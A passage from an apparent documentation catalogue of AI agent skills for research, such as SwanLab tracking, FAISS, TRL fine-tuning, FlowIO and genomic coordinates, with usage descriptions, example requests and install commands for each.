setups. Includes integrations for PyTorch, Transformers, PyTorch Lightning, and Fastai. Use when logging metrics and hyperparameters for training runs, comparing runs across seeds, checkpoints, or hyperparameters, running an offline or self-hosted dashboard instead of managed SaaS, logging media alongside scalars, or adding tracking callbacks to a Transformers, Lightning, or Fastai training loop. Not for other trackers such as Weights & Biases or MLflow. ## Example requests Ask your agent in plain language, for example: * *"How do I log loss and accuracy per epoch to SwanLab?"* * *"I'm fine-tuning bert-base-uncased on SST-2 with a HuggingFace Trainer in train\_sst2.py. I want the loss curves and my learning rate / batch size / seed recorded so I can compare three seeds side by side. The cluster has no internet, so it has to work offline. How should I set this up?"* * *"My lab doesn't want training data going to a third-party SaaS. I need something open-source that I can host on our own server to see training curves and also look at the generated images and audio samples from my GAN next to the loss plots. What should I use and how do I wire it into my PyTorch loop?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill experiment-tracking-swanlab # GitHub CLI gh skill install KalarisLabs/research-agent-skills experiment-tracking-swanlab ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [`pytorch-lightning`](/research-agent-skills/skills/pytorch-lightning) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/experiment-tracking-swanlab/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # experimental-design — AI agent skill for ideation and design Source: https://docs.kalarislabs.com/research-agent-skills/skills/experimental-design Design experiments and studies BEFORE data is collected — choosing a design, randomizing, blocking, and laying out treatment combinations so results are… # `experimental-design` **Category:** [ideation-and-design](/research-agent-skills/skills#ideation-and-design) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** experimental design, randomization, blocking, study design, statistics ## When to use it Design experiments and studies BEFORE data is collected — choosing a design, randomizing, blocking, and laying out treatment combinations so results are interpretable. Use whenever someone is planning a study, asks how to assign subjects/samples to groups, mentions randomization, blocking, stratification, controls, factorial or fractional-factorial designs, design of experiments (DOE), screening many factors, response-surface optimization, crossover or repeated-measures or split-plot designs, cluster/group randomization, Latin squares, plate layouts, batch/run-order effects, replication vs. pseudoreplication, or sequential/adaptive/group-sequential designs. Trigger even for informal phrasings like "how should I set up this experiment", "how do I avoid confounding", "what's the best way to test these 6 factors", or "assign these mice to conditions". For computing the sample size or power once the design is chosen, use statistical-power; for analyzing data already collected, use statistical-analysis. ## Example requests Ask your agent in plain language, for example: * *"how do I assign 24 mice to 4 drug conditions without bias?"* * *"I'm running a qPCR study on 48 liver samples (24 treated, 24 control) in 96-well plates, and the plate\_layout.csv I drafted has all the controls in columns 1-2 and treated samples in the rest. Two technicians will split the work across two days. Can you help me redo the layout so I don't get plate or day artifacts?"* * *"We have 7 process parameters for a fermentation (temperature, pH, feed rate, agitation, inoculum size, and so on) and each run costs about \$2k, so we can afford maybe 16 runs. We want to find which ones matter and then tune the important ones to maximize titer. What's a sensible plan?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill experimental-design # GitHub CLI gh skill install KalarisLabs/research-agent-skills experimental-design ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ideation-and-design` category with `/plugin install ideation-and-design@research-agent-skills`. ## Related * [`scientific-brainstorming`](/research-agent-skills/skills/scientific-brainstorming) * [`uncertainty-and-units`](/research-agent-skills/skills/uncertainty-and-units) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/experimental-design/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # exploratory-data-analysis — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/exploratory-data-analysis Perform bounded, local exploratory analysis of explicitly supported scientific files. # `exploratory-data-analysis` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** exploratory data analysis, data profiling, data quality, scientific data ## When to use it Perform bounded, local exploratory analysis of explicitly supported scientific files. Use for redacted CSV/TSV/JSON profiles; optional NumPy, HDF5, FASTA/FASTQ, and basic image metadata inspection; missingness/leakage audits; outlier and transformation sensitivity; and rigorous EDA report scaffolds. Other domain formats are reference-only and unknown formats fail closed. ## Example requests Ask your agent in plain language, for example: * *"Can you do a quick EDA on assay\_results.csv before I start modeling?"* * *"I have plasma\_cytokines\_v3.tsv from a 3-site cohort study, with repeated visits per participant and columns subject\_id, site, visit, IL6, TNFa, split. I'm worried the train/test split leaks and that missing IL6 values aren't random. Can you audit this before I fit a random forest? Some IL6 values are below the LOQ and coded as 0."* * *"My measurements are heavily right-skewed and a few points look extreme. Before I decide whether to log-transform or drop them, I'd like to see how much those points drive the mean and spread in my exported table."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill exploratory-data-analysis # GitHub CLI gh skill install KalarisLabs/research-agent-skills exploratory-data-analysis ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`timesfm-forecasting`](/research-agent-skills/skills/timesfm-forecasting) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/exploratory-data-analysis/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # faiss — AI agent skill for knowledge and rag Source: https://docs.kalarislabs.com/research-agent-skills/skills/faiss Facebook's library for efficient similarity search and clustering of dense vectors. # `faiss` **Category:** [knowledge-and-rag](/research-agent-skills/skills#knowledge-and-rag) · **License:** MIT · **Version:** 1.0.0 **Tags:** RAG, FAISS, Similarity Search, Vector Search, Facebook AI, GPU Acceleration, Billion-Scale, K-NN, HNSW, High Performance, Large Scale ## When to use it Facebook's library for efficient similarity search and clustering of dense vectors. Supports billions of vectors, GPU acceleration, and various index types (Flat, IVF, HNSW). Use for fast k-NN search, large-scale vector retrieval, or when you need pure similarity search without metadata. Best for high-performance applications. ## Example requests Ask your agent in plain language, for example: * *"How do I build a FAISS index for 2M embeddings?"* * *"I have 5M 768-dim sentence-transformer embeddings of PubMed abstracts saved in pubmed\_emb.npy (float32). Using faiss.IndexIVFFlat with nlist=4096 I get 'RuntimeError: Error in faiss::IndexIVFFlat::add\_core ... index not trained' when I call index.add(). Search is also slow on CPU. How do I fix this and speed it up?"* * *"I've got about 300 million image feature vectors from a microscopy screen, 512-dim, and I need to find the 50 nearest neighbors for each of 10,000 query images as fast as possible. There's no metadata filtering, it's a one-off offline batch job on a machine with a few GPUs. What approach should I use?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill faiss # GitHub CLI gh skill install KalarisLabs/research-agent-skills faiss ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `knowledge-and-rag` category with `/plugin install knowledge-and-rag@research-agent-skills`. ## Related * [`qdrant-vector-search`](/research-agent-skills/skills/qdrant-vector-search) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/faiss/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # fictiv — AI agent skill for lab automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/fictiv Drives the Fictiv on-demand manufacturing web app (app.fictiv.com) in the user's browser, since there is no public API. # `fictiv` **Category:** [lab-automation](/research-agent-skills/skills#lab-automation) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** manufacturing, CAD, prototyping, lab hardware ## When to use it Drives the Fictiv on-demand manufacturing web app (app.fictiv.com) in the user's browser, since there is no public API. Covers uploading CAD files (STEP, SLDPRT, STL), configuring process, material, finish, threads and tolerances, reading DFM feedback, instant or manual quotes, lead-time tiers, checkout by card or PO, order tracking and reorders. Use when the user mentions Fictiv. Use when they want a part CNC machined, 3D printed, sheet-metal fabricated, cast, or molded online. Use when they ask to get a quote or order parts from a STEP or STL file. Use when they need to check a Fictiv quote or order status. Use when a Fictiv upload, DFM warning, price or checkout fails. Not for ITAR-controlled parts, which Fictiv does not accept. ## Example requests Ask your agent in plain language, for example: * *"can you get me a quote on Fictiv for this bracket? bracket\_v3.step, 10 pcs, 6061 aluminum"* * *"I uploaded rotor\_housing.sldprt to my Fictiv quote and now it says 'Please request a quote' on one part and the other parts have no price. The DFM badge also shows thin walls. What's going on and what should I do before my grant-funded build deadline on the 21st?"* * *"My lab needs 25 black-anodized aluminum enclosures for a prototype instrument, made from a STEP file I have, and shipped to our lab in Boston within about two weeks. I'd like to order them from an online machine shop that takes CAD uploads. Can you handle it from start to finish?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill fictiv # GitHub CLI gh skill install KalarisLabs/research-agent-skills fictiv ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `lab-automation` category with `/plugin install lab-automation@research-agent-skills`. ## Related * [`lab-hardware-cad`](/research-agent-skills/skills/lab-hardware-cad) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/fictiv/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # fine-tuning-openvla-oft — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/fine-tuning-openvla-oft Fine-tunes and evaluates OpenVLA-OFT and OpenVLA-OFT+ policies for robot action generation with continuous action heads, LoRA adaptation, and FiLM… # `fine-tuning-openvla-oft` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** OpenVLA, OpenVLA-OFT, VLA, Robotics, Fine-Tuning, LIBERO, ALOHA, LoRA, FiLM, Action Chunking, Deployment, Continuous Actions ## When to use it Fine-tunes and evaluates OpenVLA-OFT and OpenVLA-OFT+ policies for robot action generation with continuous action heads, LoRA adaptation, and FiLM conditioning on LIBERO simulation and ALOHA real-world setups. Use when reproducing OpenVLA-OFT paper results, training custom VLA action heads (L1 or diffusion), deploying server-client inference for ALOHA, or debugging normalization, LoRA merge, and cross-GPU issues. ## Example requests Ask your agent in plain language, for example: * *"How do I evaluate the pretrained OpenVLA-OFT checkpoint on LIBERO-Goal?"* * *"I fine-tuned an OFT+ policy on my own ALOHA data with 3 cameras. The server starts fine, but the arms move with the wrong scale and the actions look jittery. I trained with --use\_film True --num\_images\_in\_input 3 --image\_aug True. The client calls [http://gpu-box:8777/act](http://gpu-box:8777/act). What should I check?"* * *"I have a 7B vision-language-action model and about 200 teleoperated demos in RLDS format for a tabletop task. I want to adapt it with low-rank adapters and swap the discrete action-token output for a regression head. How should I set up the training run, and which checkpoints should I evaluate?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill fine-tuning-openvla-oft # GitHub CLI gh skill install KalarisLabs/research-agent-skills fine-tuning-openvla-oft ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`evaluating-cosmos-policy`](/research-agent-skills/skills/evaluating-cosmos-policy) * [`fine-tuning-serving-openpi`](/research-agent-skills/skills/fine-tuning-serving-openpi) * [`stable-diffusion-image-generation`](/research-agent-skills/skills/stable-diffusion-image-generation) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/fine-tuning-openvla-oft/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # fine-tuning-serving-openpi — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/fine-tuning-serving-openpi Fine-tune and serve Physical Intelligence OpenPI models (pi0, pi0-fast, pi0.5) using JAX or PyTorch backends for robot policy inference across ALOHA, DROID… # `fine-tuning-serving-openpi` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** OpenPI, Physical Intelligence, VLA, Robotics, JAX, PyTorch, Fine-Tuning, Policy Serving, ALOHA, DROID, LIBERO, pi0 ## When to use it Fine-tune and serve Physical Intelligence OpenPI models (pi0, pi0-fast, pi0.5) using JAX or PyTorch backends for robot policy inference across ALOHA, DROID, and LIBERO environments. Use when adapting pi0 models to custom datasets, converting JAX checkpoints to PyTorch, running policy inference servers, or debugging norm stats and GPU memory issues. ## Example requests Ask your agent in plain language, for example: * *"How do I serve the pi0.5 DROID policy on one GPU so my robot can query it?"* * *"I'm fine-tuning on my own LeRobot dataset, hf repo my-lab/ur5\_pick\_place, starting from pi05\_libero in openpi's config.py. I launched train.py and it died with a missing norm stats error. After I fixed that, JAX OOM'd on my 1x A100 80GB. What should I do?"* * *"My lab's vision-language-action model checkpoint was trained in JAX, but our deployment stack only supports PyTorch and we want to train further with multiple GPUs. How do we get there?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill fine-tuning-serving-openpi # GitHub CLI gh skill install KalarisLabs/research-agent-skills fine-tuning-serving-openpi ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`evaluating-cosmos-policy`](/research-agent-skills/skills/evaluating-cosmos-policy) * [`fine-tuning-openvla-oft`](/research-agent-skills/skills/fine-tuning-openvla-oft) * [`pufferlib`](/research-agent-skills/skills/pufferlib) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/fine-tuning-serving-openpi/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # fine-tuning-with-trl — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/fine-tuning-with-trl Fine-tune LLMs using reinforcement learning with TRL - SFT for instruction tuning, DPO for preference alignment, PPO/GRPO for reward optimization, and reward… # `fine-tuning-with-trl` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Post-Training, TRL, Reinforcement Learning, Fine-Tuning, SFT, DPO, PPO, GRPO, RLHF, Preference Alignment, HuggingFace ## When to use it Fine-tune LLMs using reinforcement learning with TRL - SFT for instruction tuning, DPO for preference alignment, PPO/GRPO for reward optimization, and reward model training. Use when need RLHF, align model with preferences, or train from human feedback. Works with HuggingFace Transformers. ## Example requests Ask your agent in plain language, for example: * *"How do I run DPO on my preference pairs with TRL?"* * *"I'm fine-tuning Qwen2.5-7B on an A100 40GB with my file pairs.jsonl (fields: question, good\_answer, bad\_answer). DPOTrainer crashes with 'CUDA out of memory' about 20 steps in. The reference model is eating memory I guess. What should I change?"* * *"I have a base 8B model and thousands of human-ranked response pairs from annotators. I want a model that follows instructions and matches those human rankings, and I'd like a reward model along the way so I can score generations. Walk me through the stages and how to check it worked."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill fine-tuning-with-trl # GitHub CLI gh skill install KalarisLabs/research-agent-skills fine-tuning-with-trl ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`constitutional-ai`](/research-agent-skills/skills/constitutional-ai) * [`grpo-rl-training`](/research-agent-skills/skills/grpo-rl-training) * [`simpo-training`](/research-agent-skills/skills/simpo-training) * [`verl-rl-training`](/research-agent-skills/skills/verl-rl-training) * [`llava`](/research-agent-skills/skills/llava) * [`openrlhf-training`](/research-agent-skills/skills/openrlhf-training) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/fine-tuning-with-trl/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # firecrawl-research-index — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/firecrawl-research-index Query Firecrawl Research Index paper endpoints for topic discovery, source metadata, question-matched passages, and citation-neighbor expansion. # `firecrawl-research-index` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.0 **Tags:** Firecrawl, Research Index, academic search, paper discovery, arXiv, PubMed, life sciences, citation discovery ## When to use it Query Firecrawl Research Index paper endpoints for topic discovery, source metadata, question-matched passages, and citation-neighbor expansion. Use when a researcher explicitly asks for Firecrawl Research or its hosted arXiv and biomedical paper records. ## Example requests Ask your agent in plain language, for example: * *"Use Firecrawl Research to find recent papers on CRISPR base editing off-target effects, and give me a short list with source IDs and abstracts I can screen."* * *"In Firecrawl's paper index, inspect arxiv:1706.03762, find passages about the attention mechanism, then look for related work that cites it."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill firecrawl-research-index # GitHub CLI gh skill install KalarisLabs/research-agent-skills firecrawl-research-index ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`database-lookup`](/research-agent-skills/skills/database-lookup) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`paper-corpus-rag`](/research-agent-skills/skills/paper-corpus-rag) * [`paper-lookup`](/research-agent-skills/skills/paper-lookup) * [`systematic-review-prisma`](/research-agent-skills/skills/systematic-review-prisma) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/firecrawl-research-index/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # flowio — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/flowio Read, inspect, and write Flow Cytometry Standard (FCS) 2.0, 3.0, and 3.1 files with FlowIO. # `flowio` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** BSD-3-Clause license · **Version:** 2.1 · **Includes scripts** **Tags:** flow cytometry, FCS files, cytometry, immunology, bioinformatics ## When to use it Read, inspect, and write Flow Cytometry Standard (FCS) 2.0, 3.0, and 3.1 files with FlowIO. Use for low-level FCS metadata and channel inspection, NumPy event extraction, multi-dataset files, table export, and FCS 3.1 creation; use FlowKit for compensation, cytometry transforms, gating, or FlowJo workspaces. ## Example requests Ask your agent in plain language, for example: * *"How do I pull the events out of an .fcs file into a numpy array?"* * *"I have a legacy file 'plate3\_legacy.fcs' that I think has several datasets stacked in it, and when I try flowio.FlowData('plate3\_legacy.fcs') I only get the first one. Also my script does flow\.text\['\$DATE'] and raises KeyError. Can you fix this and list the channel PnN/PnS names for each dataset?"* * *"I exported a bunch of per-cell measurements from my own analysis as a NumPy matrix (50,000 cells x 8 markers) and need to hand them to a collaborator as a standard flow cytometry file their software can open. What's the right way to do it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill flowio # GitHub CLI gh skill install KalarisLabs/research-agent-skills flowio ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/flowio/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # fluidsim — AI agent skill for physical sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/fluidsim Plan, configure, inspect, restart, and analyze bounded FluidSim computational-fluid-dynamics simulations with explicit numerical-validity and HPC safety… # `fluidsim` **Category:** [physical-sciences](/research-agent-skills/skills#physical-sciences) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** computational fluid dynamics, CFD, simulation, HPC, physics ## When to use it Plan, configure, inspect, restart, and analyze bounded FluidSim computational-fluid-dynamics simulations with explicit numerical-validity and HPC safety checks. Use for FluidSim solver selection, parameter review, FFT/MPI setup, output diagnostics, or restart compatibility. ## Example requests Ask your agent in plain language, for example: * *"I need to run a 2D turbulence sim with fluidsim, 256x256 periodic box. Can you set it up safely?"* * *"I have a run in \~/runs/ns2d\_forced\_512/ with state\_phys\_t*.nc files and spectra1D.h5. I tried `params.time_stepping.CFL = 0.5` and got an AttributeError from ParamContainer when restarting with a modified script. I want to restart to t=200 on 8 MPI ranks on our cluster. What's wrong and how do I restart safely?"\* * *"I'm simulating forced 3D homogeneous turbulence on a periodic cube in Python, and my collaborators want to know if our 128^3 spectral run is resolved enough to call it DNS. What should I check, and can you look at the output files?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill fluidsim # GitHub CLI gh skill install KalarisLabs/research-agent-skills fluidsim ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `physical-sciences` category with `/plugin install physical-sciences@research-agent-skills`. ## Related * [Skills for physics and astronomy](/research-agent-skills/fields/physics) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/fluidsim/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # folklore-variant-evidence — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/folklore-variant-evidence Retrieve ClinGen gene-disease validity assertions for a public gene or disease, and review source-linked public evidence and literature for one supported… # `folklore-variant-evidence` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.0 **Tags:** clinical genomics, variant interpretation, ClinGen, germline variants, genetics ## When to use it Retrieve ClinGen gene-disease validity assertions for a public gene or disease, and review source-linked public evidence and literature for one supported GRCh38 germline nuclear SNV or simple indel through Folklore Clinical Variant Interpretation MCP. Use when a scientific agent must branch deterministically on resolved, ambiguous, not-found, invalid, unsupported, or unavailable variant outcomes; chain a resolved public variant into related literature or publication details; or preserve evidence provenance without accepting patient, phenotype, family, segregation, or private case data. ## Example requests Ask your agent in plain language, for example: * *"Which genes does ClinGen say are definitively linked to Lynch syndrome? Just list the assertions."* * *"I'm writing up my methods for a paper on BRCA1 and need to check NC\_000017.12:g.43057062T>C (GRCh38) in a public evidence source that gives provenance. Can you pull the evidence, and if it resolves, find the literature that directly mentions that exact variant? I'd also like details on the top PMID, including retraction status."* * *"I have a public dbSNP rsID, rs80357914, and I'm not sure what it maps to. Look it up and tell me what the evidence says, but don't just guess if it's unclear which variant I mean."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill folklore-variant-evidence # GitHub CLI gh skill install KalarisLabs/research-agent-skills folklore-variant-evidence ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`alphagenome`](/research-agent-skills/skills/alphagenome) * [`bgpt-paper-search`](/research-agent-skills/skills/bgpt-paper-search) * [`database-lookup`](/research-agent-skills/skills/database-lookup) * [`genomic-coordinates`](/research-agent-skills/skills/genomic-coordinates) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/folklore-variant-evidence/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # generate-image — AI agent skill for visualization and presentation Source: https://docs.kalarislabs.com/research-agent-skills/skills/generate-image Generate or edit images with AI models through the OpenRouter Image API (Gemini, Seedream, Recraft, GPT-Image, Riverflow). # `generate-image` **Category:** [visualization-and-presentation](/research-agent-skills/skills#visualization-and-presentation) · **License:** MIT · **Version:** 3.1 · **Includes scripts** **Tags:** image generation, illustrations, figures, visual assets, AI images ## When to use it Generate or edit images with AI models through the OpenRouter Image API (Gemini, Seedream, Recraft, GPT-Image, Riverflow). Use for photos, illustrations, artwork, concept art, visual assets, logos, and image editing or compositing from reference images. For flowcharts, circuits, pathways, and other technical diagrams, use the scientific-schematics skill instead. ## Example requests Ask your agent in plain language, for example: * *"Make me a cover image for my lab's seminar poster: a moody, photorealistic close-up of a petri dish with glowing bioluminescent bacteria, lots of dark space on the left for the title."* * *"I need a transparent-background PNG of a stylized mouse silhouette for my slide deck. I tried `--model openai/gpt-image-2 --background transparent` and it got rejected. What should I do?"* * *"I have field\_site.jpg, a photo of our alpine sampling station. Can you change the sky so it looks like sunset and keep everything else the same? Then give me a few variations to choose from."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill generate-image # GitHub CLI gh skill install KalarisLabs/research-agent-skills generate-image ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `visualization-and-presentation` category with `/plugin install visualization-and-presentation@research-agent-skills`. ## Related * [`autoskill`](/research-agent-skills/skills/autoskill) * [`latex-posters`](/research-agent-skills/skills/latex-posters) * [`scientific-schematics`](/research-agent-skills/skills/scientific-schematics) * [`scientific-slides`](/research-agent-skills/skills/scientific-slides) * [`infographics`](/research-agent-skills/skills/infographics) * [`segment-anything-model`](/research-agent-skills/skills/segment-anything-model) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/generate-image/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # geniml — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/geniml Plans and audits local genomic-interval machine learning workflows with Geniml (0.8.4) and Gtars: validates BED files against chromosome sizes and assembly… # `geniml` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** genomic intervals, BED files, machine learning, embeddings, genomics ## When to use it Plans and audits local genomic-interval machine learning workflows with Geniml (0.8.4) and Gtars: validates BED files against chromosome sizes and assembly contracts, plans Region2Vec, scEmbed, and BEDspace runs, checks model, tokenizer, and universe.bed compatibility, and assesses consensus universes (CC, CCF, ML, HMM, assess-universe). Bundled scripts only validate or plan; they do not train. Use when checking BED coordinates, contigs, or assembly before analysis. Use when planning Region2Vec or scEmbed training on tokenized Parquet data. Use when verifying that a checkpoint, config.yaml, and universe match. Use when building or assessing a consensus peak universe. Use when reviewing BEDbase or Hugging Face download risks. Not for general BED manipulation or peak calling; use bedtools or similar tools. ## Example requests Ask your agent in plain language, for example: * *"Can you check my peaks.bed against hg38.chrom.sizes before I run anything? Worried about chr naming."* * *"I exported tokenized ATAC regions to data/tokens.parquet (list column 'tokens') using universe.bed from our GRCh38 lab pipeline and want to train Region2Vec. Before I burn GPU time, I got 'size mismatch for projection.weight' when loading models/r2v/checkpoint.pt with a config.yaml from a colleague. Help me figure out what's wrong and plan the run."* * *"We have peak calls from 40 ChIP-seq experiments across several labs and want one common set of regions to use as a shared vocabulary for embedding models, then measure how well it fits our data. What's a safe way to go about it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill geniml # GitHub CLI gh skill install KalarisLabs/research-agent-skills geniml ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`genomic-coordinates`](/research-agent-skills/skills/genomic-coordinates) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/geniml/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # genomic-coordinates — AI agent skill for scientific databases Source: https://docs.kalarislabs.com/research-agent-skills/skills/genomic-coordinates Convert genomic intervals between coordinate conventions, normalise and compare variant representations, and detect assembly or contig-naming mismatches… # `genomic-coordinates` **Category:** [scientific-databases](/research-agent-skills/skills#scientific-databases) · **License:** MIT · **Version:** 1.1 · **Includes scripts** **Tags:** genomic coordinates, liftover, variant normalization, genome assemblies, bioinformatics ## When to use it Convert genomic intervals between coordinate conventions, normalise and compare variant representations, and detect assembly or contig-naming mismatches before they corrupt an analysis. Use whenever coordinates cross a format, tool, or assembly boundary - converting between BED, GFF/GTF, VCF, SAM/BAM, WIG, PSL, genePred, Picard interval\_list, or region strings; reconciling 0-based half-open with 1-based inclusive; left-aligning or trimming indels; checking whether two variant records describe the same change; mapping genomic to transcript, CDS, or protein positions; auditing a BED/GTF/VCF for convention violations; or diagnosing GRCh37 vs hg19 vs GRCh38 vs T2T, chr-prefix, and liftover problems. Triggers include "off by one", "0-based", "1-based", "half-open", "coordinate system", "left-align", "normalize variant", "bcftools norm", "chr 